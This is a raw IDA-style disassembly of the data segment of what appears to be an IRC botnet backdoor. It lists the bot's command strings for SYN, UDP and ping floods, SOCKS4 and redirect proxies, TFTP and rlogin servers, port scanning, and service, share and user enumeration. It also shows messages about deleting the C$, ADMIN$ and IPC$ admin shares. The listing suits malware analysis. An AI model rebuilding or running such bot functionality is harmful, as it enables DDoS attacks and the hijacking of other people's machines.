		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: seg000:0040C58Ao
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: seg000:0040C575o
		align 10h
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: seg000:0040C560o
		align 10h
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: seg000:0040C54Bo
		align 4
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: seg000:0040C536o
		align 10h
dword_42B310	dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: seg000:0040C50Do
dword_42B32C	dd 69027002h, 1F671F6Eh, 2E2Ehdword_42B338	dd 676E6950h, 6F6C6620h, 646Fhdword_42B344	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42B354	dd 64027502h, 2E1F701Fh, 2Ehdword_42B360	dd 20504455h, 6F6F6C66h, 64hdword_42B36C	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42B37C	dd 79027302h, 2E1F6E1Fh, 2Ehdword_42B388	dd 206E7953h, 6F6F6C66h, 64hdword_42B394	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42B3A4	dd 64026402h, 1F731F6Fh, 2E2Ehdword_42B3B0	dd 536F4444h, 6F6C6620h, 646Fhdword_42B3BC	dd 736F6464h, 66666F2Eh, 0dword_42B3C8	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42B3D8	dd 20504354h, 69646572h, 74636572h, 0aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: seg000:0040C440o
dword_42B3FC	dd 6F026C02h, 2E1F671Fh, 2Ehdword_42B408	dd 20676F4Ch, 7473696Ch, 0dword_42B414	dd 2E676F6Ch, 66666Fhdword_42B41C	dd 74026802h, 641F7074h, 2E2E1Fhdword_42B428	dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42B438	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: seg000:0040C3CBo
		align 4
dword_42B45C	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer		db 'Server',0           ; DATA XREF: seg000:0040C3A4o
					; seg000:0040C3E4o ...
		align 4
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: seg000:0040C38Bo
		align 4
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: seg000:0040C376o
		align 4
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: seg000:0040C361o
		align 4
aLd_off		db 'ld.off',0           ; DATA XREF: seg000:0040C34Co
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: seg000:0040C337o
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: seg000:0040C322o
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: seg000:0040C30Do
aEnz_ver	db 'enz.ver',0          ; DATA XREF: seg000:0040C2F8o
aEnz_version	db 'enz.version',0      ; DATA XREF: seg000:0040C2E3o
aEnz_lo		db 'enz.lo',0           ; DATA XREF: seg000:0040C2CEo
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: seg000:0040C2B9o
		align 10h
aEnz_d		db 'enz.d',0            ; DATA XREF: seg000:0040C2A4o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: seg000:0040C28Fo
aEnz_rn		db 'enz.rn',0           ; DATA XREF: seg000:0040C27Ao
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: seg000:0040C262o
a63		db '63',0               ; DATA XREF: seg000:0040C13Bo
		align 4
asc_42B52C:				; DATA XREF: seg000:0040C113o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: seg000:0040C0D6o
		align 4
aServer_0	db '$server',0          ; DATA XREF: seg000:0040C0CBo
aRndnick	db '$rndnick',0         ; DATA XREF: seg000:0040C0BAo
		align 4
aChan		db '$chan',0            ; DATA XREF: seg000:0040C09Eo
		align 4
aUser_2		db '$user',0            ; DATA XREF: seg000:0040C08Do
		align 4
aMe_0		db '$me',0              ; DATA XREF: seg000:0040C07Bo
aD		db '$%d',0              ; DATA XREF: seg000:0040C00Do
aD_0		db '$%d-',0             ; DATA XREF: seg000:0040BF52o
		align 4
aHi_0		db 'hi',0               ; DATA XREF: seg000:0040BE7Ao
		align 10h
aNewshit	db 'newshit',0          ; DATA XREF: seg000:0040BE62o
dword_42B578	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BE30o
		dd 2029206Ch, 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_42B5BC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BE22o
		dd 2029206Ch, 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 10h
dword_42B600	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BE14o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_26	db '  Failed to start chat thread, error: <%d>.',0
dword_42B648	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BDA5o
		dd 2029206Ch, 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: seg000:0040BD0Eo
		align 4
dword_42B684	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BCF1o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_42B6D8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BCD3o
					; seg000:0040FA8Eo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_27	db '  Failed to start transfer thread, error: <%d>.',0
dword_42B724	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:0040BCC2o
		dd 0A0Dh
dword_42B73C	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: seg000:0040BC48o
		align 10h
dword_42B760	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:0040BC2Eo
		dd 0D017325h, 0Ah
dword_42B77C	dd 52455601h, 4E4F4953h, 1dword_42B788	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BAE3o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: seg000:0040BA40o
		align 10h
dword_42B7D0	dd 43434401h, 0	dword_42B7D8	dd 323333h						; seg000:0040BE9Co ...
aNotice		db 'NOTICE',0           ; DATA XREF: seg000:0040B987o
					; sub_4110B0+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: seg000:0040B97Bo
					; sub_4110B0+16o
dword_42B7EC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040B92Ao
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 10h
dword_42B820	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040B903o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: seg000:0040B8CCo
aPart		db 'PART',0             ; DATA XREF: seg000:0040B87Eo
					; seg000:0040B947o
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: seg000:0040B856o
		align 4
aNick		db 'NICK',0             ; DATA XREF: seg000:0040B728o
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B6C9o
					; seg000:0040B96Bo
dword_42B880	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040B6B0o
					; seg000:00410DBCo ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: seg000:0040B63Fo
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040B5E8o
					; seg000:0040FE46o ...
		align 4
a433		db '433',0              ; DATA XREF: seg000:0040B5C0o
a@:					; DATA XREF: seg000:0040B595o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: seg000:0040B585o
a005		db '005',0              ; DATA XREF: seg000:0040B570o
a001		db '001',0              ; DATA XREF: seg000:0040B55Bo
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040B53Fo
					; seg000:0040B70Fo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040B51Eo
		align 4
aPing		db 'PING',0             ; DATA XREF: seg000:0040B504o
		align 10h
asc_42B900:				; DATA XREF: seg000:0040B4F5o
					; seg000:00410EBEo
		unicode	0, <!>,0
asc_42B904	db ' :',0               ; DATA XREF: seg000:0040B3E1o
					; seg000:loc_40BEF4o
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
		dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
dword_42B998	dd 25207325h, 253A2073h, 0A0D73h, 0off_42B9A8	dd offset aAdd		; DATA XREF: sub_41114B+6Dr
					; sub_41152F+50r ...
					; "Add"
off_42B9AC	dd offset aAdded	; DATA XREF: sub_41114B+2Dr
					; sub_41152F+82r ...
					; "Added"
dword_42B9B0	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42BA1Ch, 42BA14h,	2, 42BA08h, 42B9FCh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:0042B9DCo
aStop_0		db 'Stop',0             ; DATA XREF: seg002:0042B9D8o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:0042B9D0o
aStart_0	db 'Start',0            ; DATA XREF: seg002:0042B9CCo
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:0042B9C4o
		align 4
aList_0		db 'List',0             ; DATA XREF: seg002:0042B9C0o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:0042B9B8o
aDelete_0	db 'Delete',0           ; DATA XREF: seg002:0042B9B4o
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg002:off_42B9ACo
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg002:off_42B9A8o
dword_42BA70	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41114B+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42BAA8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41114B+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42BAE4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41114B+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_411274+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_411274:loc_41138Co
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_411274:loc_411385o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_411274:loc_41137Eo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_411274:loc_411377o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_411274:loc_411370o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_411274:loc_411369o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_411274:loc_411362o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_411274:loc_41135Bo
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_411274:loc_411354o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_411274:loc_41134Do
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_411274:loc_411322o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_411274:loc_41131Bo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_411274:loc_411314o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_411274:loc_41130Do
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_411274+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_411274:loc_4112E2o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_411274:loc_4112D8o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_411274:loc_4112CEo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_411274:loc_4112C4o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_411274:loc_4112BAo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_411274+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_4113F2+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_4113F2:loc_4114BEo
aStarting	db '   Starting',0      ; DATA XREF: sub_4113F2:loc_4114B7o
aStoping	db '    Stoping',0      ; DATA XREF: sub_4113F2:loc_4114B0o
aRunning	db '    Running',0      ; DATA XREF: sub_4113F2:loc_4114A9o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_4113F2:loc_4114A2o
aPausing	db '    Pausing',0      ; DATA XREF: sub_4113F2:loc_41149Bo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_4113F2:loc_411494o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_4113F2+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_4113F2+25o
		align 4
dword_42C04C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41152F+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42C084	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41152F+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42C0B4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41152F+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_411724+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_411724+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_411724+B5o
dword_42C114	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_411724+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_411724+26o
		align 4
dword_42C188	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_411845+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42C1C4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_411845+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42C204	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_411845+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42C238	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41198B+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 10h
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_41198B+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_41198B+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41198B+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_41198B+2ECo
		align 10h
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_41198B+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_41198B+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_41198B+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_41198B+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_41198B+21Eo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_41198B+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_41198B+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_41198B+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_41198B+178o
		align 10h
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_41198B+14Do
		align 10h
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_41198B+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_41198B:loc_411AA4o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_41198B:loc_411A9Do
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_41198B+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_41198B+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_41198B+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_41198B+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_411D59+14Fo
		align 4
dword_42C3F8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_411D59+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_411D59+BEo
		align 10h
dword_42C440	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_411D59+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_411D59+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_411ED9:loc_411FF6o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_411ED9:loc_411FEFo
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_411ED9:loc_411FE8o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_411ED9:loc_411FE1o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_411ED9:loc_411FDAo
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_411ED9:loc_411FBDo
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_411ED9:loc_411FB6o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_411ED9:loc_411FAFo
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_411ED9+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_411ED9:loc_411F84o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_411ED9:loc_411F7Do
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_411ED9:loc_411F76o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_411ED9:loc_411F6Co
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_411ED9+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_411ED9:loc_411F46o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_411ED9:loc_411F3Co
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_411ED9:loc_411F32o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_411ED9:loc_411F28o
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_411ED9:loc_411F1Eo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_411ED9+3Bo
		align 4
dword_42C75C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:004120B8o
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42C798	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0041208Eo
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_412136+120o
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_412136+5Ao
					; sub_412136+19Eo
		align 4
dword_42C7F4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_4122E7:loc_41236Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_42C82C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_4122E7+80o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 4
dword_42C868	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_4122E7+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_42C8AC	dd 1		off_42C8B0	dd offset sub_41242C	; DATA XREF: sub_412797+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 41248Ah, 706D6F63h, 2 dup(0)
		dd 3, 4124D7h, 6E756F63h, 797274h, 0
		dd 4, 412575h, 736Fh, 2	dup(0)
		dd 5, 4125EAh
dword_42C904	dd 69257325h, 0						; seg000:00412556o ...
dword_42C90C	dd 4350h	dword_42C910	dd 7C7325h						; sub_412797+39o
dword_42C914	dd 5D73255Bh, 7Chdword_42C91C	dd 334B32h	dword_42C920	dd 5D64255Bh, 7325hdword_42C928	dd 5D4D5Bh						; sub_4126F4+57o
unk_42C92C	db    2			; DATA XREF: sub_412800+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_42C968	db    2			; DATA XREF: sub_4128CD+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
off_42C9A8	dd offset dword_42C9E0	; DATA XREF: sub_412A1E+1B3o
					; sub_412D42+17Ao
		align 10h
		dd offset dword_42C9D8
		align 8
off_42C9B8	dd offset dword_42C9D4	; DATA XREF: sub_412D42+1E3o
		dd offset dword_42C9D0
		dd offset dword_42C9CC
		dd offset dword_42C9C8
dword_42C9C8	dd 5C3A44h						; seg002:0042C9C4o
dword_42C9CC	dd 2444h	dword_42C9D0	dd 5C3A43h	dword_42C9D4	dd 2443h	dword_42C9D8	dd 494D4441h, 244Ehdword_42C9E0	dd 24435049h, 0	unk_42C9E8	db    2			; DATA XREF: sub_412A1E+2E5o
					; sub_412D42+2D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_42CA2C	db    2			; DATA XREF: sub_412A1E+2CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_42CA68	db    2			; DATA XREF: sub_412A1E:loc_412C80o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_42CAA8	db    2			; DATA XREF: sub_412A1E+25Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_42CAE0	db    2			; DATA XREF: sub_412A1E:loc_412BEDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_42CB20	db    2			; DATA XREF: sub_412A1E+1C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_42CB58	db    2			; DATA XREF: sub_412A1E:loc_412B50o
					; sub_412D42:loc_412E70o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
